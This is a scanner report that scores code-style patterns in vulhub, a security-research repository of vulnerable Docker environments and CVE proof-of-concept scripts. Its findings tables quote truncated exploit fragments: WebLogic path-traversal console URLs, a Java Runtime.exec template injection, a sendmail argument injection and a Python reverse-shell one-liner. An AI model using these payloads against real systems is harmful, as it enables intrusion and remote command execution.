Home / vulhub / vulhub
AI Slop Code RIsk Monitor

vulhub/vulhub

Pre-Built Vulnerable Environments Based on Docker-Compose

6.0 Moderate pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for vulhub/vulhub, a Dockerfile project with 21,335 GitHub stars. SynthScan examined 89,361 lines of code across 1578 source files, recording 202 pattern matches distributed across 18 syntactic categories. The legacy adjusted pattern signal is 6.0 (Moderate pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

6.0
Adjusted Signal
6.0
Raw Pattern Score
100%
Time Factor
2026-09-18
Last Push
21.3K
Stars
Dockerfile
Language
89.4K
Lines of Code
1.6K
Files
202
Pattern Hits
2026-10-12
Scan Date
0.03
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 5.9/100 · LOW

Can maintainers explain intent, assumptions, and trade-offs? 79 finding(s).

Hallucinated Dependency & Supply Chain Risk 11.6/100 · LOW

Are imports declared and package/API names verified? 49 finding(s).

Agent Over-Engineering Ratio 11.1/100 · LOW

Are wrappers, guards, and repeated structures necessary? 80 finding(s).

PR Review Velocity Impact 25.3/100 · MEDIUM

Which changes need focused human review? 202 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 13HIGH 31MEDIUM 24LOW 134

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 202 distinct pattern matches across 18 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hallucination Indicators13 hits · 160 pts
SeverityFileLineSnippetContext
CRITICALactivemq/CVE-2022-41678/poc.py12 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>')CODE
CRITICALweblogic/CVE-2020-14882/README.md45http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2CODE
CRITICALweblogic/CVE-2020-14882/README.md78http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spriCODE
CRITICALweblogic/CVE-2020-14882/README.zh-cn.md41http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2CODE
CRITICALweblogic/CVE-2020-14882/README.zh-cn.md74http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.spriCODE
CRITICAL⚡java/rmi-registry-bind-deserialization-bypass/README.md13 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)CODE
CRITICAL⚡java/rmi-registry-bind-deserialization-bypass/README.md17 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)CODE
CRITICAL⚡java/rmi-registry-bind-deserialization-bypass/README.md18 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {CODE
CRITICAL⚡…i-registry-bind-deserialization-bypass/README.zh-cn.md11 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)CODE
CRITICAL⚡…i-registry-bind-deserialization-bypass/README.zh-cn.md15 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)CODE
CRITICAL⚡…i-registry-bind-deserialization-bypass/README.zh-cn.md16 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {CODE
CRITICALhugegraph/CVE-2024-27348/README.md44 "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflectCODE
CRITICALhugegraph/CVE-2024-27348/README.zh-cn.md42 "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflectCODE
Empty Error Handlers22 hits · 110 pts
SeverityFileLineSnippetContext
HIGHgitlab/CVE-2026-85706/poc.py90except json.JSONDecodeError:CODE
HIGHfastjson/1.2.83-rce/poc.py74except Exception:CODE
HIGHfastjson/1.2.83-rce/poc.py467except requests.RequestException:CODE
HIGHfastjson/1.2.83-rce/poc.py357except (BrokenPipeError, ConnectionResetError):CODE
HIGHfastjson/1.2.83-rce/poc.py750except requests.RequestException:CODE
HIGHtomcat/CVE-2026-34486/poc.py56except (socket.timeout, OSError):CODE
HIGHopenclaw/CVE-2026-25253/ws.py61except ConnectionClosedError:CODE
HIGHopenclaw/CVE-2026-25253/poc.py692except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py816except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py395except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py721except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py782except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py851except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py890except (FileNotFoundError, subprocess.TimeoutExpired, OSError):CODE
HIGHopenclaw/CVE-2026-25253/poc.py536except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py624except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py544except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py551except Exception:CODE
HIGHopenclaw/CVE-2026-25253/poc.py515except Exception:CODE
HIGHtests/tools/check_image_arch.py196except requests.RequestException:CODE
HIGHphp/xdebug-rce/exp.py93except:CODE
HIGHn8n/CVE-2025-68613/exploit.py98except requests.RequestException:CODE
Decorative Section Separators14 hits · 42 pts
SeverityFileLineSnippetContext
MEDIUM⚡openclaw/CVE-2026-25253/poc.py696 # -------------------------------------------------------COMMENT
MEDIUM⚡openclaw/CVE-2026-25253/poc.py698 # -------------------------------------------------------COMMENT
MEDIUM⚡openclaw/CVE-2026-25253/poc.py704 # -------------------------------------------------------COMMENT
MEDIUM⚡openclaw/CVE-2026-25253/poc.py706 # -------------------------------------------------------COMMENT
MEDIUM⚡openclaw/CVE-2026-25253/poc.py931 # -------------------------------------------------------COMMENT
MEDIUM⚡openclaw/CVE-2026-25253/poc.py933 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py229 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py233 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py669 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py671 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py995 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py997 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py1018 # -------------------------------------------------------COMMENT
MEDIUMopenclaw/CVE-2026-25253/poc.py1020 # -------------------------------------------------------COMMENT
Excessive Try-Catch Wrapping34 hits · 36 pts
SeverityFileLineSnippetContext
LOWfastjson/1.2.83-rce/poc.py74 except Exception:CODE
LOWfastjson/1.2.83-rce/poc.py440 except Exception:CODE
LOW⚡openclaw/CVE-2026-25253/poc.py536 except Exception:CODE
LOW⚡openclaw/CVE-2026-25253/poc.py544 except Exception:CODE
LOW⚡openclaw/CVE-2026-25253/poc.py551 except Exception:CODE
LOW⚡openclaw/CVE-2026-25253/poc.py692 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py395 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py515 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py624 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py721 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py782 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py816 except Exception:CODE
LOWopenclaw/CVE-2026-25253/poc.py851 except Exception:CODE
LOWtests/tools/update_dockerhub.py118 except Exception as e:STRING
MEDIUMtests/tools/update_dockerhub.py112def main():CODE
MEDIUMtests/tools/check_image_arch.py281 print(f"Error: {args.file} not found.", file=sys.stderr)CODE
LOWtests/tools/check_image_arch.py323 except Exception as e:CODE
LOWerlang/CVE-2025-32433/exploit.py145 except Exception as e:CODE
LOWshowdoc/3.2.5-sqli/poc.py26 except Exception as e:CODE
MEDIUM⚡superset/CVE-2023-27524/CVE-2023-27524.py36 print(f'Error retrieving login page at {u}, status code: {resp.status_code}')CODE
MEDIUM⚡superset/CVE-2023-27524/CVE-2023-27524.py46 print('Error: No session cookie found')CODE
MEDIUM⚡superset/CVE-2023-27524/CVE-2023-27524.py55 print('Error: Not a Flask session cookie')CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py98 except Exception as e_inner:CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py119 except Exception as e_inner:CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py124 except Exception as e:CODE
LOW⚡nginx-ui/CVE-2026-27944/poc.py210 except Exception as e:CODE
LOWnginx-ui/CVE-2026-27944/poc.py83 except Exception as e:CODE
LOWzabbix/CVE-2016-10134/CVE-2016-10134.py89 except Exception:CODE
LOWcraftcms/CVE-2025-32432/poc.py203 except Exception as e:CODE
LOWingress-nginx/CVE-2025-1974/exploit.py113 except Exception as e:STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py114 print(f"Error on /proc/{proc}/fd/{fd}: {e}")STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py134 print(f"Error: Shell file '{shell_file}' not found")STRING
LOWingress-nginx/CVE-2025-1974/exploit.py150 except Exception as e:STRING
MEDIUMingress-nginx/CVE-2025-1974/exploit.py151 print(f"Error connecting to {host}:{port}: {e} - host is up?")STRING
Structural Annotation Overuse21 hits · 36 pts
SeverityFileLineSnippetContext
LOW⚡openclaw/CVE-2026-25253/poc.py932 # Step 7: Restore original cliBackends configCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py828 # Step 5: Set session model to the injected CLI backendCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py868 # Step 6: Trigger agent execution — CLI backend spawns command directlyCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md49## Step 1: Research the VulnerabilityCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md60## Step 2: Create Base Dockerfile (if needed)COMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md91## Step 3: Write docker-compose.ymlCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md130## Step 4: Register in environments.tomlCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md171## Step 5: Write DocumentationCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md201## Step 6: Test LocallyCOMMENT
LOW.claude/skills/add-vulhub-env/SKILL.md226## Step 7: Submit Pull RequestCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py214 # Step 3: RSA-encrypt login credentials and authenticateCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py253 # Step 1: Download backupCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py263 # Step 2: Parse encryption keyCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py266 # Step 3: Decrypt backupCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py269 # Step 4: Extract secretsCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py272 # Step 5: Exploit with Node SecretCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py279 # Step 6: Optionally create new admin user and obtain JWT tokenCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py180 # Step 1: Create a new admin user via X-Node-SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py195 # Step 2: Get RSA public key for encrypted loginCOMMENT
LOW⚡craftcms/CVE-2025-32432/poc.py178 # Step 2: Inject PHP payload into sessionCOMMENT
LOW⚡craftcms/CVE-2025-32432/poc.py183 # Step 3: Trigger RCECOMMENT
Cross-Language Confusion6 hits · 30 pts
SeverityFileLineSnippetContext
HIGHwordpress/pwnscriptum/exploit.py17 return 'target(any -froot@localhost -be %s null)' % commandCODE
HIGHairflow/CVE-2020-11981/exploit_airflow_celery.py8ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3CODE
HIGHjira/CVE-2019-11581/poc.py28#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))COMMENT
HIGHjira/CVE-2019-11581/poc.py40 payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoaSTRING
HIGHingress-nginx/CVE-2025-1974/exploit.py54 "creationTimestamp": null,CODE
HIGHingress-nginx/CVE-2025-1974/exploit.py87 "oldObject": null,CODE
Verbosity Indicators14 hits · 26 pts
SeverityFileLineSnippetContext
LOW⚡openclaw/CVE-2026-25253/poc.py932 # Step 7: Restore original cliBackends configCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py828 # Step 5: Set session model to the injected CLI backendCOMMENT
LOWopenclaw/CVE-2026-25253/poc.py868 # Step 6: Trigger agent execution — CLI backend spawns command directlyCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py214 # Step 3: RSA-encrypt login credentials and authenticateCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py253 # Step 1: Download backupCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py263 # Step 2: Parse encryption keyCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py266 # Step 3: Decrypt backupCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py269 # Step 4: Extract secretsCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py272 # Step 5: Exploit with Node SecretCOMMENT
LOW⚡nginx-ui/CVE-2026-27944/poc.py279 # Step 6: Optionally create new admin user and obtain JWT tokenCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py180 # Step 1: Create a new admin user via X-Node-SecretCOMMENT
LOWnginx-ui/CVE-2026-27944/poc.py195 # Step 2: Get RSA public key for encrypted loginCOMMENT
LOW⚡craftcms/CVE-2025-32432/poc.py178 # Step 2: Inject PHP payload into sessionCOMMENT
LOW⚡craftcms/CVE-2025-32432/poc.py183 # Step 3: Trigger RCECOMMENT
Unused Imports22 hits · 22 pts
SeverityFileLineSnippetContext
LOWactivemq/CVE-2023-46604/poc.py1CODE
LOWactivemq/CVE-2022-41678/poc.py8CODE
LOWcmsms/CVE-2021-26120/poc.py4CODE
LOWpython/PIL-CVE-2018-16509/app.py1CODE
LOWpython/PIL-CVE-2017-8291/app.py5CODE
LOWgrafana/admin-ssrf/grafana-ssrf.py15CODE
LOWairflow/CVE-2020-11981/exploit_airflow_celery.py1CODE
LOWopensmtpd/CVE-2020-7247/poc.py19CODE
LOWnginx-ui/CVE-2026-27944/poc.py24CODE
LOWopenssl/CVE-2014-0160/ssltest.py12CODE
LOWdjango/CVE-2020-9402/vuln/views.py1CODE
LOWdjango/CVE-2021-35042/vuln/urls.py1CODE
LOWdjango/CVE-2021-35042/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/models.py1CODE
LOWdjango/CVE-2022-34265/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/urls.py1CODE
LOWdjango/CVE-2022-34265/vuln/views.py1CODE
LOWbase/pgadmin/6.16/config_local.py1CODE
LOWbase/pgadmin/7.6/config_local.py1CODE
LOWbase/django/2.0.7/app.py3CODE
LOWingress-nginx/CVE-2025-1974/exploit.py1CODE
LOWspring/CVE-2025-41242/poc.py6CODE
Over-Commented Block19 hits · 18 pts
SeverityFileLineSnippetContext
LOWcouchdb/CVE-2022-24706/poc.py1# Exploit Title: Remote Command Execution via Erlang Distribution Protocol COMMENT
LOWfastjson/1.2.83-rce/poc.py181COMMENT
LOWfastjson/1.2.83-rce/poc.py721 print(f"{yellow('[!]')} stage1 request error (the download side effect may still have happened): {e}")COMMENT
LOWapisix/CVE-2020-13945/config.yml1#COMMENT
LOWapisix/CVE-2021-45232/apisix.yml1#COMMENT
LOWapisix/CVE-2021-45232/dashboard.yml1#COMMENT
LOWopenclaw/CVE-2026-25253/poc.py221 websockets.exceptions.ConnectionClosedError) as exc:COMMENT
LOWthinkphp/in-sqlinjection/www/database.php1<?phpCOMMENT
LOWopensmtpd/CVE-2020-7247/poc.py1# Exploit Title: OpenSMTPD 6.6.1 - Remote Code ExecutionCOMMENT
LOWbase/couchdb/2.1.0/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/couchdb/3.2.1/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/couchdb/1.6.0/docker-entrypoint.sh1#!/bin/bashCOMMENT
LOWbase/aj-report/1.4.0/bootstrap.yml61 #若要使用minio文件存储，请启用以下配置COMMENT
LOWbase/thinkphp/2.1/index.php1<?phpCOMMENT
LOWbase/solr/8.6.1/cloud/zoo.cfg1# The number of milliseconds of each tickCOMMENT
LOWbase/solr/8.6.1/cloud/zoo.cfg21#COMMENT
LOWbase/solr/8.3.0/cloud/zoo.cfg1# The number of milliseconds of each tickCOMMENT
LOWbase/solr/8.3.0/cloud/zoo.cfg21#COMMENT
LOWbase/superset/2.0.1/run-server.sh1#!/usr/bin/env bashCOMMENT
Cross-File Repetition3 hits · 15 pts
SeverityFileLineSnippetContext
HIGHpython/unpickle/README.md0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
HIGHpython/unpickle/README.zh-cn.md0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
HIGHpython/unpickle/exp.py0python -c 'import socket,subprocess,os;s=socket.socket(socket.af_inet,socket.sock_stream);s.connect(("172.18.0.1",80));oSTRING
Deep Nesting13 hits · 12 pts
SeverityFileLineSnippetContext
LOWactivemq/CVE-2022-41678/poc.py972CODE
LOWfastjson/1.2.83-rce/poc.py554CODE
LOWfastjson/1.2.83-rce/poc.py595CODE
LOWtomcat/CVE-2020-1938/poc.py181CODE
LOWopenclaw/CVE-2026-25253/poc.py457CODE
LOWopenclaw/CVE-2026-25253/poc.py638CODE
LOWtests/tools/check_image_arch.py262CODE
LOWtests/check/test_env_toml.py60CODE
LOWsuperset/CVE-2023-27524/CVE-2023-27524.py18CODE
LOWnginx-ui/CVE-2026-27944/poc.py88CODE
LOWimagemagick/CVE-2022-44268/poc.py41CODE
LOWbase/saltstack/2019.2.3/saltinit.py8CODE
LOWbase/saltstack/3002/saltinit.py8CODE
Fake / Example Data8 hits · 9 pts
SeverityFileLineSnippetContext
LOWcomfyui/CVE-2025-67303/evil-git-server.py65 subprocess.run(["git", "config", "user.email", "test@test.com"], cwd=src_path, check=True,STRING
LOWnexus/CVE-2020-10204/README.md46{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User",CODE
LOWnexus/CVE-2020-10204/README.zh-cn.md43{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User",CODE
LOWjira/CVE-2019-11581/poc.py12 "from": "test@test.com",CODE
LOWbase/wordpress/6.9.4/auto-install.php42wp_install( 'wp2shell', 'admin', 'admin@example.com', true, '', 'admin' );CODE
LOW⚡base/n8n/1.65.0/docker-entrypoint.sh50 "placeholder": "John Doe"CODE
LOW⚡base/n8n/1.65.0/docker-entrypoint.sh50 "placeholder": "John Doe"CODE
LOW⚡base/n8n/1.65.0/docker-entrypoint.sh56 "placeholder": "john@example.com"CODE
Redundant / Tautological Comments4 hits · 5 pts
SeverityFileLineSnippetContext
LOWopenclaw/CVE-2026-25253/poc.py805 # Check if the connection is still open before deciding.COMMENT
LOW.github/workflows/update-vulhub-org.yml60 # Check if there are changes to commitCOMMENT
LOWbase/n8n/1.65.0/docker-entrypoint.sh15# Check if admin already existsCOMMENT
LOWbase/jenkins/2.46.1/install-plugins.sh231 # Check if there's a version-specific update center, which is the case for LTS versionsCOMMENT
Hyper-Verbose Identifiers5 hits · 4 pts
SeverityFileLineSnippetContext
LOWtomcat/CVE-2020-1938/poc.py231def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):CODE
LOWopenclaw/CVE-2026-25253/poc.py200async def _connect_and_authenticate(target, token_data, quiet=False):CODE
LOWopenclaw/CVE-2026-25253/poc.py457async def _wait_for_gateway_restart(target, max_wait=30, token_data=None):CODE
LOWtests/check/test_env_toml.py60def test_dockerfile_covers_all_vulhub_images():CODE
LOWphp/xdebug-rce/exp.py43class XDebugRequestHandler(socketserver.BaseRequestHandler):CODE
Modern AI Meta-Vocabulary1 hit · 3 pts
SeverityFileLineSnippetContext
MEDIUMcraftcms/CVE-2025-32432/poc.py107 # Construct the malicious payload using Yii's dependency injectionCOMMENT
Self-Referential Comments1 hit · 3 pts
SeverityFileLineSnippetContext
MEDIUMbase/postgres/9.6.7/docker-entrypoint.sh40 # Create the transaction log directory before initdb is run (below) so the directory is owned by the correct userCOMMENT
Modern Structural Boilerplate1 hit · 1 pts
SeverityFileLineSnippetContext
LOWn8n/CVE-2025-68613/exploit.py25logger = logging.getLogger(__name__)CODE
AI Structural Patterns1 hit · 1 pts
SeverityFileLineSnippetContext
LOWuwsgi/unacc/poc.py27CODE